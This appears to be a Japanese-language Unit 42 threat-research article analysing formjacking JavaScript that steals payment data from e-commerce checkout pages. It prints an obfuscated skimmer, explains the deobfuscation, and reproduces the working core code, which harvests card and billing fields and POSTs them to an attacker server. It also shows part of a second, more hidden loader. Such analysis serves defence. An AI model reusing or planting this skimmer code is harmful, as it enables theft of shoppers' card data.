[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.jp/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/ja/)  
Menu

* [セキュリティ コンサルティング](https://www.paloaltonetworks.com/unit42)
* [**現在、攻撃を受けていますか?**](https://start.paloaltonetworks.com/contact-unit42.html)  
  Japanese
* [English](https://unit42.paloaltonetworks.com/anatomy-of-formjacking-attacks/)
* [Japanese](https://unit42.paloaltonetworks.com/ja/anatomy-of-formjacking-attacks/)
* [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research")
* [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/ "脅威リサーチ")
* [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/ "マルウェア")  
  [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/)

# 詳説 フォームジャッキング攻撃 処理の流れとテクニック

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 3 分で読めます  
Related Products  
[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/ja/product-category/advanced-wildfire-ja/ "Advanced WildFire")

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  著者:
  
  * [Jin Chen](https://unit42.paloaltonetworks.com/ja/author/jin-chen/)
  * [Tao Yan](https://unit42.paloaltonetworks.com/ja/author/tao-yan/)
  * [Taojie Wang](https://unit42.paloaltonetworks.com/ja/author/taojie-wang/)
  * [Zhanglin He](https://unit42.paloaltonetworks.com/ja/author/zhanglin-he/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  公開日:2020年4月28日

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  カテゴリー
  
  * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/)
  * [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  タグ:
  
  * [Formjacking Attack](https://unit42.paloaltonetworks.com/ja/tag/formjacking-attack-ja/)
  * [JavaScript Malware](https://unit42.paloaltonetworks.com/ja/tag/javascript-malware-ja/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/ja/anatomy-of-formjacking-attacks/?pdf=download&lg=ja&_wpnonce=0070e94fe3 "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/ja/anatomy-of-formjacking-attacks/?pdf=print&lg=ja&_wpnonce=0070e94fe3 "Click here to print")

共有![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=詳説%20フォームジャッキング攻撃%20処理の流れとテクニック&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fanatomy-of-formjacking-attacks%2F "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fanatomy-of-formjacking-attacks%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fanatomy-of-formjacking-attacks%2F&title=詳説%20フォームジャッキング攻撃%20処理の流れとテクニック "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fanatomy-of-formjacking-attacks%2F&text=詳説%20フォームジャッキング攻撃%20処理の流れとテクニック "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fanatomy-of-formjacking-attacks%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=詳説%20フォームジャッキング攻撃%20処理の流れとテクニック%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fanatomy-of-formjacking-attacks%2F "Share in Mastodon")

## 概要

インターネットの台頭は多くの点で人々の生活にプラスに働いてきました。いまでは、インターネット上でほぼどんなサービスでも見つけることができます。ですが同時にインターネットの利便性はマルウェアで個人の機微情報を盗むための扉も開いてしまいます。残念ながらマルウェア作成者によるこうした機会の悪用は増える一方です。

サイバー犯罪者が悪意のあるJavaScriptコードを挿入してWebサイトをハッキングし、サイトのフォームページ機能を乗っ取って機微なユーザー情報を収集する「フォームジャッキング」攻撃は、最も急速に成長しているサイバー攻撃の1つです。こうしたスクリプトはECサイトの「チェックアウト（会計）」ページでキャプチャした支払いフォームからクレジットカードの詳細その他の個人情報を盗むように設計されています。

ハッキングによって侵害されたECサイトにユーザーが知らずにアクセスした場合、チェックアウトページで商品をカートに入れてチェックアウトし、クレジットカード情報（名前、住所、電子メール、クレジットカード番号、CVV、有効期限など）を入力することになります。そしてユーザーが「チェックアウト」や「送信」ボタンをクリックすると、悪意のあるコードがユーザーの入力情報を収集し、攻撃者のコマンド\&コントロール（C2）サーバーに送信します。元の発注じたいは影響を受けないのでユーザーは予期したとおりに製品を受け取れてしまいます。多くの[大手ECサイト](https://www.infosecurity-magazine.com/opinions/security-formjacking-1-1-1/)がこの手法で侵害されており、その中にはBritish Airways、Ticketmaster、Delta、Newegg、Topps.com Sports Collectiblesなども含まれます。

フォームジャッキング攻撃の処理の流れがどのようなものかを図1に示します。
![フォームジャッキングの処理の流れ](https://unit42.paloaltonetworks.com/wp-content/uploads//2020/04/word-image-68.png) 図 1. フォームジャッキングの処理の流れ

フォームジャッキング用コードを記述してそれを侵害されたサイトに配備することは、攻撃者にとってはそれほど難しことではありません。これならマルウェアの配備やシステム侵害の手間がかからず、クレジットカード情報をすばやく簡単に盗むことができます。

とくに昨今ECサイトサービスは非常に人気が高いことからこの手法は攻撃者にとっては非常に魅力的です。

そこで本稿では、フォームジャッキングのコードのしくみについて詳しく説明していきます。なお、パロアルトネットワークス製品をお使いのお客様はフォームジャッキング攻撃から保護されています。WildFireはフォームジャッキング攻撃を悪意のあるものとして検出して正しく識別し、PANDBはURLを悪意のあるものとして識別します。

### 典型的なフォームジャッキング攻撃

以下は典型的なフォームジャッキング攻撃からのサンプルです。2020年4月8日時点では、VirusTotal上で3つのアンチウイルスサービスのみがこのコードを「悪意がある」ものとして検出していました。(SHA256:[a79da1f007cfc88e4f8ae13623e2b752d2da03bcf9d51a74ea1fca2e6e6fca14](https://www.virustotal.com/intelligence/search/?query=a79da1f007cfc88e4f8ae13623e2b752d2da03bcf9d51a74ea1fca2e6e6fca14))

このコードは非常に長ったらしく、また高度に難読化されています。内容を読み取るには先に難読化を解除する必要があります。以下はその元となったコードの一部です。  
window\["payment\_checkout1"\] = \["W\*!\`\[EnTa/mKelU\*R=R'3/ngu8mpe/rqxo7N\_EcglaDrvtla5qoK\`'!\]" \[(785034646 \* "kNL7xIvgS.\\x85j}\_K=" \["charCodeAt"\](2) + 22.0)\["toString"\](("Y^8ZH/D:0$or5\<+\\x8aqU" \["charCodeAt"\](3) \* 0 + 36.0))\](/\[\\!8ET\\/W\`Nl5vRDpgUqKx37\]/g, ""), "+Ki\<(n1JpUuLtq\[@i;dg\*GZ=l%'+ckc0\_5nfIu!Bm#bTexr-2'H\]" \[(8.0 + "Q#C|UZ$?hm)\*s" \["charCodeAt"\](11) \* 477238723)\["toString"\]((3 \* "4%|6W5laMO" \["length"\] + 0.0))\](/\[qLGUZ\\- \\@k\\#\\+2TfKJ0I\\(\\!H\\\<\\;\\%xlg15B\]/g, ""), "0)\*N\[/nsaOmve@\*h=4'Nc0c6d\_G5nKukm3'3\]" \[(387097319 \* "~s\\x84\\x60u\\x89t1\\x80VC?L\\x85ZWmw" \["charCodeAt"\](11) + 36.0)\["toString"\](("Vu.\\x8a^'\\x81E\\x806" \["length"\] \* 3 + 1.0))\](/\[0\\/N3d6sh\\)4kv5\\@KOG\]/g, "")\];

|----------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 | window\["payment\_checkout1"\] = \["W\*!\`\[EnTa/mKelU\*R=R'3/ngu8mpe/rqxo7N\_EcglaDrvtla5qoK\`'!\]" \[(785034646 \* "kNL7xIvgS.\\x85j}\_K=" \["charCodeAt"\](2) + 22.0)\["toString"\](("Y^8ZH/D:0$or5\<+\\x8aqU" \["charCodeAt"\](3) \* 0 + 36.0))\](/\[\\!8ET\\/W\`Nl5vRDpgUqKx37\]/g, ""), "+Ki\<(n1JpUuLtq\[@i;dg\*GZ=l%'+ckc0\_5nfIu!Bm#bTexr-2'H\]" \[(8.0 + "Q#C|UZ$?hm)\*s" \["charCodeAt"\](11) \* 477238723)\["toString"\]((3 \* "4%|6W5laMO" \["length"\] + 0.0))\](/\[qLGUZ\\- \\@k\\#\\+2TfKJ0I\\(\\!H\\\<\\;\\%xlg15B\]/g, ""), "0)\*N\[/nsaOmve@\*h=4'Nc0c6d\_G5nKukm3'3\]" \[(387097319 \* "~s\\x84\\x60u\\x89t1\\x80VC?L\\x85ZWmw" \["charCodeAt"\](11) + 36.0)\["toString"\](("Vu.\\x8a^'\\x81E\\x806" \["length"\] \* 3 + 1.0))\](/\[0\\/N3d6sh\\)4kv5\\@KOG\]/g, "")\]; |

まず目に入ったのが次の基本構造でした。  
window\["payment\_checkout1"\] = \[var1, var2, ...\]

|---|-----------------------------------------------------|
| 1 | window\["payment\_checkout1"\] = \[var1, var2, ...\] |

var1を例にとり、これを3つの部分に分解します。

* \["W\*!`[EnTa/mKelU*R=R'3/ngu8mpe/rqxo7N_EcglaDrvtla5qoK`'!\]" は文字列の1つめの部分です。これは暗号化されています。
* \[(785034646 \* "kNL7xIvgS.\\x85j}\_K=" \["charCodeAt"\](2) + 22.0)\["toString"\](("Y^8ZH/D:0$or5\<+\\x8aqU" \["charCodeAt"\](3) \* 0 +36.0))\] は2つめの部分です。
  1. (785034646 \* "kNL7xIvgS.\\x85j}\_K=" \["charCodeAt"\](2) + 22.0) を計算して 59662633118を得ます。
  2. ("Y^8ZH/D:0$or5\<+\\x8aqU" \["charCodeAt"\](3) \* 0 +36.0)) も計算して36を得ます。
  3. つまり2つめの部分は(59662633118).toString(36)に等しくなります。この結果は「replace」という文字列になります（toString関数については[こちらの文書](https://www.w3schools.com/jsref/jsref_tostring_number.asp)を参照）。
* (/\[\\!8ET\\/W```Nl5vRDpgUqKx37]/g, ""``) が3つめの部分になりますが、これは正規表現のパターンです。```
  ` `

` `

`結果的にvar1は"`xxxxx".replace(/\[!8ET/WNl5vRDpgUqKx37\]/g, "") と等しくなるので、ここでは正規表現を使って文字列を復号していることになります。復号されたvar1は"\*\[name\*='numero\_cartao'\]"になります。

最終的にこのコードの難読化を解除すると、次の結果が得られます。  
window\["payment\_checkout1"\] = \["\*\[name\*='numero\_cartao'\]", "input\[id\*='cc\_number'\]", "\*\[name\*='cc\_num'\]"\]

|-----|--------------------------------------------------------------------------------------------------------------------------|
| 1 2 | window\["payment\_checkout1"\] = \["\*\[name\*='numero\_cartao'\]", "input\[id\*='cc\_number'\]", "\*\[name\*='cc\_num'\]"\] |

次のコードは元のコードからの別の部分です。  
document\["addEv" + String.fromCharCode(101) + "ntListen" + String.fromCharCode(101) + "r"\]("lDKOQM9C4 /oSn\&tNesQnStjXL7Ao6aTdVse\`d" \[(48.0 + "7$bz?m|9\\x80c\\x88OpJI.{RdH" \["charCodeAt"\](7) \* 427844405)\["toString"\] (("NC}1r\\x81W" \["length"\] \* 4 + 3.0))\](/\[4TlN9s6Sj\`\\\&VKQA7X\\/\]/g, ""), function(event) { sHv(); });

|-----------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 | document\["addEv" + String.fromCharCode(101) + "ntListen" + String.fromCharCode(101) + "r"\]("lDKOQM9C4 /oSn\&tNesQnStjXL7Ao6aTdVse\`d" \[(48.0 + "7$bz?m|9\\x80c\\x88OpJI.{RdH" \["charCodeAt"\](7) \* 427844405)\["toString"\] (("NC}1r\\x81W" \["length"\] \* 4 + 3.0))\](/\[4TlN9s6Sj\`\\\&VKQA7X\\/\]/g, ""), function(event) { sHv(); }); |

このコードも難読化を解除すると次の内容になります。  
document.addEventListener("DOMContentLoaded", function() { sHv();}, false);

|-----|-----------------------------------------------------------------------------|
| 1 2 | document.addEventListener("DOMContentLoaded", function() { sHv();}, false); |

こうして元のコードの核心部分の難読化を解除した結果が次のコードです。  
window\["payment\_checkout1"\] = \["\*\[name\*='numero\_cartao'\]", "input\[id\*='cc\_number'\]", "\*\[name\*='cc\_num'\]"\] window\["payment\_checkout2"\] = \["\*\[name\*='expiracao\_mes'\]", "\*\[name\*='cc\_exp\_m'\]", "\*\[name\*='expirationMonth'\]"\] window\["payment\_checkout3"\] = \["\*\[name\*='expiracao\_ano'\]", "\*\[name\*='cc\_exp\_y'\]", "\*\[name\*='expirationYear'\]"\] window\["payment\_checkout4"\] = \["\*\[name\*='codigo\_seguranca'\]", "input\[id\*='cc\_cid'\]", "\*\[name\*='cc\_cid'\]"\] function hZy(keys, values) { var r = \[\]; for (var i = 0; i \< keys.length; i++) { r.push(encodeURIComponent(keys\[i\]) +"="+ encodeURIComponent(values\[i\])) } return r.join("\&"); } function UWo(str, index, replacement) { return str.substr(0, index) + replacement + str.substr(index + replacement.length); } function F8S(str) { var hex = ""; for (var i = 0; i \< str.length; i++) { hex += str.charCodeAt(i).toString(16); } //switch 2 bytes for (var i = 0; i \< hex\["length"\]; i += 2) { var c1 = hex.substr(i, 1); var c2 = hex.substr(i+1, 1); hex = UWo(hex, i, c2); hex = UWo(hex, i+1, c1); } return hex; } function wIW(post\_data, success) { var xhr = window\["XMLHttpRequest"\] ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP"); xhr.open("POST", "https://magentoengine.su/stat.js"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onload = function() {}; xhr.send(encodeURI(post\_data)); return xhr; } function pa4(selectors) { for (var i =0; i \< selectors\["length"\]; i++) { var selector = selectors\[I\]; var elem = document\["querySelector"\](selector); if (elem) return elem; } return false; } function LBM(sel) { var el = document\["querySelector"\](sel); if (!el) return "" return el\["value"\]; } function fdT(selectors) { var el = pa4(selectors); if (!el) return "" return el\["value"\]; } function zTI() { ... var val\_1 = fdT(window\["payment\_checkout1"\]); var val\_2 = fdT(window\["payment\_checkout2"\]); var val\_3 = fdT(window\["payment\_checkout3"\]); var val\_4 = fdT(window\["payment\_checkout4"\]); if ((!val\_1) || (!val\_4) || (!val\_2) || (!val\_3)) { return; } var val\_5 = LBM("\*\[name='billing\[firstname\]'\]"); var val\_6 = LBM(\*\[name='billing\[lastname\]'\]"); var val\_7 = LBM("\*\[name='billing\[street\]\[\]'\]"); var val\_8 = LBM("\*\[name='billing\[city\]'\]"); var val\_9 = LBM("\*\[name='billing\[region\_id\]'\]"); var val\_10 = LBM("\*\[name='billing\[postcode\]'\]"); var val\_11 = LBM("\*\[name='billing\[country\_id\]'\]"); var val\_12 = LBM("\*\[name='billing\[telephone\]'\]"); var val\_13 = LBM("\*\[name='billing\[email\]'\]"); var keys = \[\]; var values = \[\]; keys.push("host"); values.push(ant\_host); keys.push("number); values.push(val\_1); keys.push("exp1"); values.push(val\_2); keys.push("exp2"); values.push(val\_3); keys.push("cvv"); values.push(val\_4); keys.push("firstname"); values.push(val\_5); keys.push("lastname"); values.push(val\_6); keys.push("address"); values.push(val\_7); keys.push("city"); values.push(val\_8); keys.push("state"); values.push(val\_9); keys.push("zip"); values.push(val\_10); keys.push("country"); values.push(val\_11); keys.push("phone"); values.push(val\_12); keys.push("email"); values.push(val\_13); keys.push("uagent"); values.push(navigator.userAgent); var en = F8S(hZy(keys, values)); if (en == window\["ant\_last\_data"\]) return; window\["ant\_last\_data"\] = en; values = "touch="+ en; wIW(values, false); } function yfJ() { if (!(pa4(window\["payment\_checkout1"\]))) return; var elems\_all = \[\]; var selectors = \["button\[onclick\*='.save'\]", "button\[class\*='checkout'\]"\]; for (var i = 0; i \< selectors.length; i++) { var selector = selectors\[I\]; var elems = document.querySelectorAll(selector); for (var j =0; j \< elems.length; j++) { var elem = elems\[j\]; if (!(elems\_all.includes(elem))) { elems\_all.push(elem); } } } for (var i = 0; i \< elems\_all.length; i++) { var elem = elems\_all\[I\]; var dk = elem\["getAttribute"\]("ant\_check"); if (dk == "1") { continue; } elem.addEventListent("click", function() { try { zTI(); } catch (err) {} }); elem.addEventListent("mousedown", function() { try { zTI(); } catch (err) {} }); elem\["setAttribute"\]("ant\_check", "1"); } } function sHv() { if (window\["ant\_loaded"\]) return; window\["ant\_loaded"\] = true; yfJ(); window\["ant\_interval"\] = setInterval(function() { \<strong\> yfJ()\</strong\>; }, 7000); } \<strong\>document.addEventListener("DOMContentLoaded", function() { sHv();}, false);\</strong\> window.addEventListener("load", function() { sHv();}, false);

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 | window\["payment\_checkout1"\] = \["\*\[name\*='numero\_cartao'\]", "input\[id\*='cc\_number'\]", "\*\[name\*='cc\_num'\]"\] window\["payment\_checkout2"\] = \["\*\[name\*='expiracao\_mes'\]", "\*\[name\*='cc\_exp\_m'\]", "\*\[name\*='expirationMonth'\]"\] window\["payment\_checkout3"\] = \["\*\[name\*='expiracao\_ano'\]", "\*\[name\*='cc\_exp\_y'\]", "\*\[name\*='expirationYear'\]"\] window\["payment\_checkout4"\] = \["\*\[name\*='codigo\_seguranca'\]", "input\[id\*='cc\_cid'\]", "\*\[name\*='cc\_cid'\]"\] function hZy(keys, values) { var r = \[\]; for (var i = 0; i \< keys.length; i++) { r.push(encodeURIComponent(keys\[i\]) +"="+ encodeURIComponent(values\[i\])) } return r.join("\&"); } function UWo(str, index, replacement) { return str.substr(0, index) + replacement + str.substr(index + replacement.length); } function F8S(str) { var hex = ""; for (var i = 0; i \< str.length; i++) { hex += str.charCodeAt(i).toString(16); } //switch 2 bytes for (var i = 0; i \< hex\["length"\]; i += 2) { var c1 = hex.substr(i, 1); var c2 = hex.substr(i+1, 1); hex = UWo(hex, i, c2); hex = UWo(hex, i+1, c1); } return hex; } function wIW(post\_data, success) { var xhr = window\["XMLHttpRequest"\] ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP"); xhr.open("POST", "https://magentoengine.su/stat.js"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onload = function() {}; xhr.send(encodeURI(post\_data)); return xhr; } function pa4(selectors) { for (var i =0; i \< selectors\["length"\]; i++) { var selector = selectors\[I\]; var elem = document\["querySelector"\](selector); if (elem) return elem; } return false; } function LBM(sel) { var el = document\["querySelector"\](sel); if (!el) return "" return el\["value"\]; } function fdT(selectors) { var el = pa4(selectors); if (!el) return "" return el\["value"\]; } function zTI() { ... var val\_1 = fdT(window\["payment\_checkout1"\]); var val\_2 = fdT(window\["payment\_checkout2"\]); var val\_3 = fdT(window\["payment\_checkout3"\]); var val\_4 = fdT(window\["payment\_checkout4"\]); if ((!val\_1) || (!val\_4) || (!val\_2) || (!val\_3)) { return; } var val\_5 = LBM("\*\[name='billing\[firstname\]'\]"); var val\_6 = LBM(\*\[name='billing\[lastname\]'\]"); var val\_7 = LBM("\*\[name='billing\[street\]\[\]'\]"); var val\_8 = LBM("\*\[name='billing\[city\]'\]"); var val\_9 = LBM("\*\[name='billing\[region\_id\]'\]"); var val\_10 = LBM("\*\[name='billing\[postcode\]'\]"); var val\_11 = LBM("\*\[name='billing\[country\_id\]'\]"); var val\_12 = LBM("\*\[name='billing\[telephone\]'\]"); var val\_13 = LBM("\*\[name='billing\[email\]'\]"); var keys = \[\]; var values = \[\]; keys.push("host"); values.push(ant\_host); keys.push("number); values.push(val\_1); keys.push("exp1"); values.push(val\_2); keys.push("exp2"); values.push(val\_3); keys.push("cvv"); values.push(val\_4); keys.push("firstname"); values.push(val\_5); keys.push("lastname"); values.push(val\_6); keys.push("address"); values.push(val\_7); keys.push("city"); values.push(val\_8); keys.push("state"); values.push(val\_9); keys.push("zip"); values.push(val\_10); keys.push("country"); values.push(val\_11); keys.push("phone"); values.push(val\_12); keys.push("email"); values.push(val\_13); keys.push("uagent"); values.push(navigator.userAgent); var en = F8S(hZy(keys, values)); if (en == window\["ant\_last\_data"\]) return; window\["ant\_last\_data"\] = en; values = "touch="+ en; wIW(values, false); } function yfJ() { if (!(pa4(window\["payment\_checkout1"\]))) return; var elems\_all = \[\]; var selectors = \["button\[onclick\*='.save'\]", "button\[class\*='checkout'\]"\]; for (var i = 0; i \< selectors.length; i++) { var selector = selectors\[I\]; var elems = document.querySelectorAll(selector); for (var j =0; j \< elems.length; j++) { var elem = elems\[j\]; if (!(elems\_all.includes(elem))) { elems\_all.push(elem); } } } for (var i = 0; i \< elems\_all.length; i++) { var elem = elems\_all\[I\]; var dk = elem\["getAttribute"\]("ant\_check"); if (dk == "1") { continue; } elem.addEventListent("click", function() { try { zTI(); } catch (err) {} }); elem.addEventListent("mousedown", function() { try { zTI(); } catch (err) {} }); elem\["setAttribute"\]("ant\_check", "1"); } } function sHv() { if (window\["ant\_loaded"\]) return; window\["ant\_loaded"\] = true; yfJ(); window\["ant\_interval"\] = setInterval(function() { \<strong\> yfJ()\</strong\>; }, 7000); } \<strong\>document.addEventListener("DOMContentLoaded", function() { sHv();}, false);\</strong\> window.addEventListener("load", function() { sHv();}, false); |

これでようやくイベントの主な流れがわかるようになりました。

1. リスナーを "DOMContentLoaded" 上に作成し、イベントを"load"し、ページのロードが終わったらsHv関数を実行します。このsHv関数はタイマーを作成してyFj関数を7秒ごとに実行します。
2. yFj関数はページ内のすべての支払関連ボタンをスキャンします。このさいに利用されるのが"button\[onclick\*='.save'\]" と "button\[class\*='checkout'\]"です。これが存在していれば"click"リスナー、"mousedown"リスナーがイベント関数zTIを指定して生成されます。
3. ユーザーが関連するボタンをクリックするとzTI関数がトリガーされ、zTI関数はdocument.querySelector (pa4関数参照)を使って下のHTML要素のどんな値であれ収集します。これらの値にはクレジットカードの情報が含まれています。
   * window\["payment\_checkout1"\] = \["\*\[name\*='numero\_cartao'\]", "input\[id\*='cc\_number'\]", "\*\[name\*='cc\_num'\]"\]
   * window\["payment\_checkout2"\] = \["\*\[name\*='expiracao\_mes'\]", "\*\[name\*='cc\_exp\_m'\]", "\*\[name\*='expirationMonth'\]"\]
   * window\["payment\_checkout3"\] = \["\*\[name\*='expiracao\_ano'\]", "\*\[name\*='cc\_exp\_y'\]", "\*\[name\*='expirationYear'\]"\]
   * window\["payment\_checkout4"\] = \["\*\[name\*='codigo\_seguranca'\]", "input\[id\*='cc\_cid'\]", "\*\[name\*='cc\_cid'\]"\]

* その後hZy関数とF8S関数が呼び出され、収集したデータを暗号化します。
* 最後にwIW関数が呼び出されて暗号化したデータをリモートサーバーに送信します。

主な処理の流れを次の図2に示します。
![フォームジャッキングの処理の流れ](https://unit42.paloaltonetworks.com/wp-content/uploads//2020/04/word-image-69.png) 図 2. フォームジャッキングの処理の流れ

ようするに「クリック」イベントをリッスンし、クリックイベントが発生すればフォームに入力したすべての支払い情報を収集してC2サーバーに送信する、ということです。

### 高度な例

これが高度なフォームジャッキング攻撃だと、自身をより巧妙に隠しているため、追跡が非常に難しくなります。この分析では以下のSHA256値をもつサンプルを使用します。

(SHA256: 5775efac071288ff6632056635f285b03bf2ab6d6dee1fd902555e256fe63119)

一見するとこちらのコードはほんの数行だけとシンプルです。

1. var PFG="80y0y151n3a2p360w2r2s320w1p0w2s".constructor; ... 2. for(...) { qKn+=... } 3. var hAn={}; hAn\["t"+"oStri"+(70\>17?"\\x6e":"\\x68")+"g"\]=PFG\["con"+(86\>33?"\\x73":"\\ x6b")+"t"+"ru"+String.fromCharCode(99)+" tor"\](qKn); 4. qKn=hAn+"e1l151n2s332r39312t32382j0y0y170y0y17141j1h1q

|----------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | 1. var PFG="80y0y151n3a2p360w2r2s320w1p0w2s".constructor; ... 2. for(...) { qKn+=... } 3. var hAn={}; hAn\["t"+"oStri"+(70\>17?"\\x6e":"\\x68")+"g"\]=PFG\["con"+(86\>33?"\\x73":"\\ x6b")+"t"+"ru"+String.fromCharCode(99)+" tor"\](qKn); 4. qKn=hAn+"e1l151n2s332r39312t32382j0y0y170y0y17141j1h1q |

上記の4段階は次のようになっています。

1. PFGという変数を生成する。これは文字列のコンストラクタ関数です。
2. ループを使って第2段階のコードを復号し、復号したコードをqKn 変数に割り当てます。
3. hAn.toString関数をPFG.constructor(qKn).constructorでオーバーライドします。
4. hAn.toString()関数を実行すると"xxx".constructor(qKn).constructor()が実行され、これがqKnをコードとして実行します。2ステップ目でqKnには第2段階のコードが割り当てられています。

次に第2段階のコードを分析していきます。このコードのハッシュ値は次のとおりです。

(SHA256:1e4300dff5e0978092102028487c08267b74fb3beef14faa56b0f1a3fbc53ae4)

